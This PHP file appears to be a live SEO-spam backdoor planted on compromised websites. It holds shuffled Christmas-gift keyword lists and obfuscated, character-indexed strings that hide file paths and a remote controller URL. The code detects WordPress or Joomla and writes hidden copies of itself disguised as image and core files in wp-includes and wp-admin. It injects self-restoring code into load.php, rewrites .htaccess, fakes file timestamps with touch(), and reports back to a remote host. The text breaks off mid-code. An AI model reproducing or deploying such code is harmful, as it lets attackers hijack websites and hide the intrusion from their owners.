$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="bread_top clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="bread_head";
$arrBread[]="BreadcrumbHead clearfix";
$arrBread[]="bread_head clearfix";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="bread_top";
$arrBread[]="bread_crumb";
$arrBread[]="r-breadcrumb";
$arrBread[]="r-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="BreadcrumbHead";
$arrBread[]="bread_top";
$arrBread[]="bread_crumb";
// #llqllq#arrBreadend
// #llqllq#arr_fuhao
$arrfh[]="Christmas Gifts 2018";
$arrfh[]="Christmas gift shop";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Holiday presents";
$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Christmas gift ideas 2018";
$arrfh[]="Top Christmas gifts 2018";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2018";
$arrfh[]="Christmas gift";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas presents";
$arrfh[]="for Christmas";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Decoration";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas Holiday";
// #llqllq#arr_fuhaoend
$q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs();
// #llqllq#randkeybg
$strRand[0]="pqroayxuhktnzcfemsbivdglwj";
$strRand[1]="slicwpqryujozgafhvnetbxdmk";
$strRand[2]="kopwtbdsxraefmcygnlvzuqhij";
$strRand[3]="kletfhgrdmbxpuvnowacqjzsyi";
$strRand[4]="qthfmwysgviucoznldjarkexbp";
$strRand[5]="epkdgjoiuhlcmyabfvrxtwzsqn";
$strRand[6]="edynlpqazrjcwsumobhixtkgfv";
$strRand[7]="nudevgitxhlswrkojczbpymafq";
$strRand[8]="iaownpuxzbfdyhrvgqcjtsmelk";
$strRand[9]="kmjuwtfxqlgprbcinoazsyevhd";
$strRand[10]="uspnicgdqzfyjaktxwvormbehl";
$strRand[11]="xvfumsqwiabhytoelngpkdzjrc";
$strRand[12]="gspxqathkneumyjcorivfblwzd";
$strRand[13]="dysekxwulacgqnfvjhtmzripob";
$strRand[14]="xapgmsfiohktwnvqbzdjeulcry";
$strRand[15]="kneugrixdmpcqwasjoltyhzbfv";
$strRand[16]="rlxidanpjbqsvzewyofmthucgk";
$strRand[17]="brvukfdjozehsxcmyanwptglqi";
$strRand[18]="cdypxgewbomajrzniktufhvqls";
$strRand[19]="iwdhovnmtgepyuajxsbkzrqclf";
$strRand[20]="bvduqmiszpctflkxoyrjwgenha";
$strRand[21]="buagxpczohenqtdsfyrlikwvjm";
$strRand[22]="dtuekzjylqcmapobwvfignsrxh";
$strRand[23]="fqlusyowikbxhmzpcdtejgavnr";
$strRand[24]="fpsbtamviygjdhenuqlzckwxor";
$strRand[25]="ykuirepmadtqjcxvzfosnwgblh";
$strRand[26]="qksygaunxmhwdlcjboptzievfr";
$strRand[27]="dugkhljqxwvbynoprestzcafim";
$strRand[28]="qakgnbejvrhfdowmiuztxcyspl";
$strRand[29]="ihdfsktevqcawjupyrmgzblnox";
$strRand[30]="bvspfdhklyinexmugwraqjzotc";
$strRand[31]="awjlhsvnxreikbcpfzdmqtogyu";
$strRand[32]="gdlsqmjbozvarwxpcunfiyketh";
$strRand[33]="fionczyrtqlvkbwdujxahpgsem";
$strRand[34]="asyopnexcwrbvgtiklmdqjfuhz";
$strRand[35]="tcqipxrnszlgmufbyjodkveawh";
$strRand[36]="fjbtdnmqcrhsvegikxpazwlyuo";
$strRand[37]="rsihfwjvlumytzoexbkaqcgndp";
$strRand[38]="iuwsmogkrvbnxdaphqlcyfztje";
$strRand[39]="uzpgytolimdqhnvcfaxkbrwejs";
$strRand[40]="udlzteiscwbrjghvaoqkxnmfpy";
$strRand[41]="oqjubswxcgadzhptmnfyvlrike";
$strRand[42]="zlprufdntjoxbawqgvechismky";
$strRand[43]="wbhdimxjzfkvyonacsurqgpetl";
$strRand[44]="dwtvlugasikpyherqzxmnbcfoj";
$strRand[45]="nvxdztfwjgbumipcherokyaqsl";
$strRand[46]="yzensjkmrqhftlogcuwaxpbidv";
$strRand[47]="wbnployvzmgqsuhctadjxirfek";
$strRand[48]="mbvfgziqoaryutwjedclknpxsh";
$strRand[49]="qujlzfpmikxsobvhcneatwygrd";
$strRand[50]="wkizdoygufxvntlebhpjsmqrac";
$strRand[51]="fecjlpvmhtqywusrzgikbanodx";
$strRand[52]="txvfasudwrgbkiymzcjnqheolp";
$strRand[53]="yscxihzbmpdtlvneugrwokqajf";
$strRand[54]="mtfqbnevldijuhzaxcskrywopg";
$strRand[55]="sltnoqjefbpiaugkxhydrcmwvz";
$strRand[56]="cnwfzxmdujyoteqksrlhabgvip";
$strRand[57]="mjvfzwtlrogeysudphbcixqnak";
$strRand[58]="uzdejqngbvyohmtfcwslxkarip";
$strRand[59]="nulvqbxgecamhpkwzrysjtdoif";
$strRand[60]="slxfytpbhovdqcumgziarwenkj";
$strRand[61]="ewpsvquyfirhaxlncgdmjkotbz";
$strRand[62]="vwqmburfipdcexnsalzgyjkoth";
$strRand[63]="kbfhvraoxtldpqcmyzinuwegsj";
$strRand[64]="cjlubyagnmoxqefzsrhdvwiptk";
$strRand[65]="hdsbxguoqljrmpcviteznakwyf";
$strRand[66]="ejvbhkgxpulawrimtsfnqczyod";
$strRand[67]="gxrdifamczbelkjwonyhpvtsqu";
$strRand[68]="qlkvexwfythnudpoarbgscmjiz";
$strRand[69]="ixscanpgdotrkvhjzlueqfwbym";
$strRand[70]="krpbhjflgqyzmwetdaicuoxvsn";
$strRand[71]="ayzpvmwsdhuqgolktnjfxcerib";
$strRand[72]="pbghvrakudjxtcnyqsmelziowf";
$strRand[73]="gmftliversnqxubwyzphcdojka";
$strRand[74]="mvozbpxajilrnftcsqyeghwdku";
$strRand[75]="qrywgsahmbucetplfkzodxjvni";
$strRand[76]="fgxtrjbqvepdwmkhsiaclonzyu";
$strRand[77]="skizqpfcgvxjtymdwabuehnolr";
$strRand[78]="embijknxvgfoczsralpuytqwhd";
$strRand[79]="nswvyrdeqptgmhozjbxiakfcul";
$strRand[80]="alvmsjbnopduwgetqzfhixcrky";
$strRand[81]="ijodbzkwrmcnusqalfxvetghyp";
$strRand[82]="onbdftxikhepjlsuagyvwzcrmq";
$strRand[83]="uztinmaekgrxjbchvwslpdoyfq";
$strRand[84]="vjofpdgicmbwuskhyzreqaxnlt";
$strRand[85]="lzxbwmjhycufaosrdtpgvenikq";
$strRand[86]="lzqdojkarbycimsgvpxuwhentf";
$strRand[87]="obkrchiauwxgnsmeptfjzyqvld";
$strRand[88]="uayvnjgwcpoqhtrlbizexmkfsd";
$strRand[89]="vpxdetkhucbgjynmqisorzlafw";
$strRand[90]="ojnduaymiwctfqlegrpzhvskxb";
$strRand[91]="aepxwinyslqvorkgfcduhztmbj";
$strRand[92]="mgldnztsrbfjcqophixawvkyeu";
$strRand[93]="geucwaszftvqpdilmxkhjyorbn";
$strRand[94]="suhqamcwxizpflngdtebjyorkv";
$strRand[95]="xdeajmgyltnkhpuqsfrvocizbw";
$strRand[96]="ieobvqkphtuswrcaxfjldnymgz";
$strRand[97]="qembnrvcudzytkpiajxwfglsho";
$strRand[98]="ykuisathoxfcvwqdnlbgzjemrp";
$strRand[99]="krizntjxfbslvqhpcayewdougm";
// #llqllq#randkeyend
$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
// iiiiiiiiibg
function sys_type(){
global $hostDir;
if(file_exists("$hostDir/wp-config.php") or file_exists("../wp-config.php")){
return 'wp';
}elseif(strstr(@file_get_contents("$hostDir/configuration.php"),"JConfig") or strstr(@file_get_contents("../configuration.php"),"JConfig")){
return 'Joomla';
}else{
return 'other';
}
}
function getFileType($filename){
$rs = '#.*\.([^\s]+)#i';
preg_match($rs,$filename,$matchType);
return $matchType[1];
}
function getTypeImg($source, &$destination, $num, $type){
global $numHostDir;
$handle = opendir($source);
while(($file = readdir($handle)) !== false){
if($file != '.' && $file != '..') {
$src = $source . DIRECTORY_SEPARATOR . $file;
if(is_dir($src) && !strstr($src,'/cache')){
getTypeImg($src, $destination, $num, $type);
}else{
if(count($destination) >= $num)
return count($destination);
$tempType = getFileType($file);
if(strstr($type,$tempType)){
$tempMydir = count(explode(DIRECTORY_SEPARATOR,$src));
if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){
$destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file);
}
}
}
}
}
closedir($handle);
}
if(isset($_GET['rset']) && $_GET['rset'] == 'set'){
if(isset($_SERVER['DOCUMENT_ROOT'])){
$hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
}elseif(isset($_SERVER['PHP_SELF'])){
$hostDir = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR;
}else{
$hostDir = '/';
}
$hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir);
$sysType = sys_type();
if($sysType == 'wp'){
$backupfile1 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{64}.$O00O0O{2}.$O00O0O{11}.$O00O0O{0}.$O00O0O{18}.$O00O0O{18}.$O00O0O{66}.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{66}.$O00O0O{5}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{18}.$O00O0O{66}.$O00O0O{18}.$O00O0O{4}.$O00O0O{19}.$O00O0O{19}.$O00O0O{8}.$O00O0O{13}.$O00O0O{6}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15}; $backupfile2 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
$fitime = filemtime($hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64});
}elseif($sysType == 'Joomla'){
$backupfile1 = $hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64}.$O00O0O{19}.$O00O0O{12}.$O00O0O{15}.$O00O0O{11}.$O00O0O{64}.$O00O0O{3}.$O00O0O{4}.$O00O0O{5}.$O00O0O{0}.$O00O0O{20}.$O00O0O{11}.$O00O0O{19}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$backupfile2 = $hostDir.$O00O0O{11}.$O00O0O{8}.$O00O0O{1}.$O00O0O{17}.$O00O0O{0}.$O00O0O{17}.$O00O0O{8}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{9}.$O00O0O{14}.$O00O0O{14}.$O00O0O{12}.$O00O0O{11}.$O00O0O{0}.$O00O0O{64}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{64}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{17}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{12}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$fitime = filemtime($hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64});
}else{
$numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir));
$arrphpDir = array();
getTypeImg($hostDir,$arrphpDir,3,'php');
$i=1;
foreach($arrphpDir as $key=>$vs){
$fitime = filemtime($key);
list($tmepImgType,$trmeyImgName) = explode('#name#',$vs);
$tempMyVs = 'backupfile'.$i++;
$$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType;
while(file_exists($$tempMyVs)){
$$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs);
}
}
}
$backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1);
$backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2);
$str = file_get_contents("index.php");
$r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s';
shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){
$rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; }
$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
$r1 = '#(// \#l{2}ql{2}q\#arrBreadbg)(.*?)(// \#l{2}ql{2}q\#arrBreadend)#s';
shuffle($arrBread);
$rp1 = '';
foreach($arrBread as $vals){
$rp1 .= '$arrBread[]="'. $vals .'";'. PHP_EOL;
}
$str = preg_replace($r1, '\1'. PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'\3', $str);
$r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s'; $strword = '';
$arrWordOld = array(2,3,4,2,2,3,4,3,3,4); $rp2 = '';
for($i=0;$i<12;$i++){
shuffle($arrWordOld);
foreach($arrWordOld as $vtemps)
$rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";';
}
$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
$r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s';
shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){
$rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; }
$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
$r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s';
$arrABC = range('a','z');
$strTemp1 = ''; for($i=0;$i<100;$i++){
shuffle($arrABC);
$strtemp = ''; foreach($arrABC as $value){
$strtemp .= $value; }
$strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL; }
$str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1 . PHP_EOL .'\3', $str);
$num = rand(1,FNUM); $num = $num - 1;
$idUrl = GETDOM . "gpage.php?getid=$num";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrId = explode(',',$tempIdStr);
$indexId=array_rand($arrId,1);
$rsGs="#^[\d-]+$#i";
if(!preg_match($rsGs,$arrId[$indexId])){
die("get no id");
}
$str = str_replace('$id = "639027"; //llq index id', '$id = "'. $arrId[$indexId] .'"; //llq index id', $str);
$r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str);
file_put_contents(__FILE__, $str);
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '.*'.BZCAT.'/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '.*'.BZCAT.'/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
if(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1); }
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
$str = file_get_contents(__FILE__);
if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
$str = str_replace('define("JGNUM","50");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', $str);
echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";
}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$str = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str);
echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";
}
preg_match('#c{6}getbg(.*?)c{6}getend#si',$str,$matchPut);
$backStr = $matchPut[1];
$$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
generate_dir_file($backupfile1);
generate_dir_file($backupfile2);
if($backStr){
$backStr = '<'.'?php'.PHP_EOL .$backStr;
if(isset($backupfile1) && $backupfile1){
if(file_put_contents($backupfile1,$backStr))
$flagRdir1 = 1;
else
$flagRdir1 = 0;
}
if(isset($backupfile2) && $backupfile2){
if(file_put_contents($backupfile2,$backStr))
$flagRdir2 = 1;
else
$flagRdir2 = 0;
}
@touch($backupfile1, $fitime, $fitime);
@touch(dirname($backupfile1), $fitime, $fitime);
@touch($backupfile2, $fitime, $fitime);
@touch(dirname($backupfile2), $fitime, $fitime);
}
$arrTemps = explode('/',GETDOM);
$tpNum = count($arrTemps);
$dateArr = array();
$dateArr['dom'] = $thisdom;
$dateArr['myFile'] = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$dateArr['indexhyFile'] = __FILE__;
$dateArr['mbFile'] = str_replace('index.php','moban.html',$dateArr['indexhyFile']);
$dateArr['htaccess'] = str_replace('index.php','',$dateArr['indexhyFile']) ."$PreDir.htaccess";
$dateArr['act'] = 'pt';
$dateArr['moshi'] = JDT;
$dateArr['bzpro'] = BZPRO;
$dateArr['bao'] = $arrTemps[$tpNum-2];
if($backupfile1){
$bfileurl1 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1);
$dateArr['backupfile1'] = $bfileurl1;
}
if($backupfile2){
$bfileurl2 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2);
$dateArr['backupfile2'] = $bfileurl2;
}
$nowDirName = @end(explode(DIRECTORY_SEPARATOR,dirname(__FILE__)));
if($sysType == 'wp'){
$ckLocalFile1 = '../wp-includes/load.php';
$ckLocalFile2 = '../wp-includes/template-loader.php';
if(!is_dir("../wp-includes"))
@mkdir("../wp-includes",0755);
if(is_dir("../wp-includes/images/smilies/")){
$bkLocalFileIndex1 = '../wp-includes/images/smilies/icon_reds.gif';
$bkLocalFileHtac1 = '../wp-includes/images/smilies/icon_blacks.gif';
$bkLocalFileMoban1 = '../wp-includes/images/smilies/icon_greens.gif';
}else{
$bkLocalFileIndex1 = '../wp-includes/class-wp-customize-settings.php';
$bkLocalFileHtac1 = '../wp-includes/class-wp-customize-panels.php';
$bkLocalFileMoban1 = '../wp-includes/class-wp-customize-controls.php';
}
if(!is_dir("../wp-admin"))
@mkdir("../wp-admin",0755);
if(is_dir("../wp-admin/images/")){
$bkLocalFileIndex2 = '../wp-admin/images/align-lefts.png';
$bkLocalFileHtac2 = '../wp-admin/images/align-rights.png';
$bkLocalFileMoban2 = '../wp-admin/images/align-centers.png';
}else{
$bkLocalFileIndex2 = '../wp-admin/options-writings.php';
$bkLocalFileHtac2 = '../wp-admin/options-medias.php';
$bkLocalFileMoban2 = '../wp-admin/options-discussions.php';
}
$nowMobanFile = './moban.html';
$nowMobanFileI = './'.$nowDirName.'/moban.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nowMobanFile);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
if(stristr($strCkLocalFile1,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}elseif(stristr($strCkLocalFile1,'function timer_start')){
$rpRpFind = 'function timer_start';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
if(!$rpRpFind){
$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$NowPutStrI;
}else{
$strCkLocalFile1 = str_replace($rpRpFind,$NowPutStrI.$rpRpFind,$strCkLocalFile1);
}
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
if(file_exists($ckLocalFile2)){
$strckLocalFile2 = file_get_contents($ckLocalFile2);
@chmod($ckLocalFile2,0755);
if(stristr($strckLocalFile2,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}elseif(stristr($strckLocalFile2,'function timer_start')){
$rpRpFind = 'function timer_start';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex2,$strNowIndex);
file_put_contents($bkLocalFileMoban2,$strNowMoban);
file_put_contents($bkLocalFileHtac2,$strNowHtac);
@touch($bkLocalFileIndex2, $fitime, $fitime);
@touch($bkLocalFileMoban2, $fitime, $fitime);
@touch($bkLocalFileHtac2, $fitime, $fitime);
$NowPutStrTwo = PHP_EOL . '//ckIIbg'.PHP_EOL;
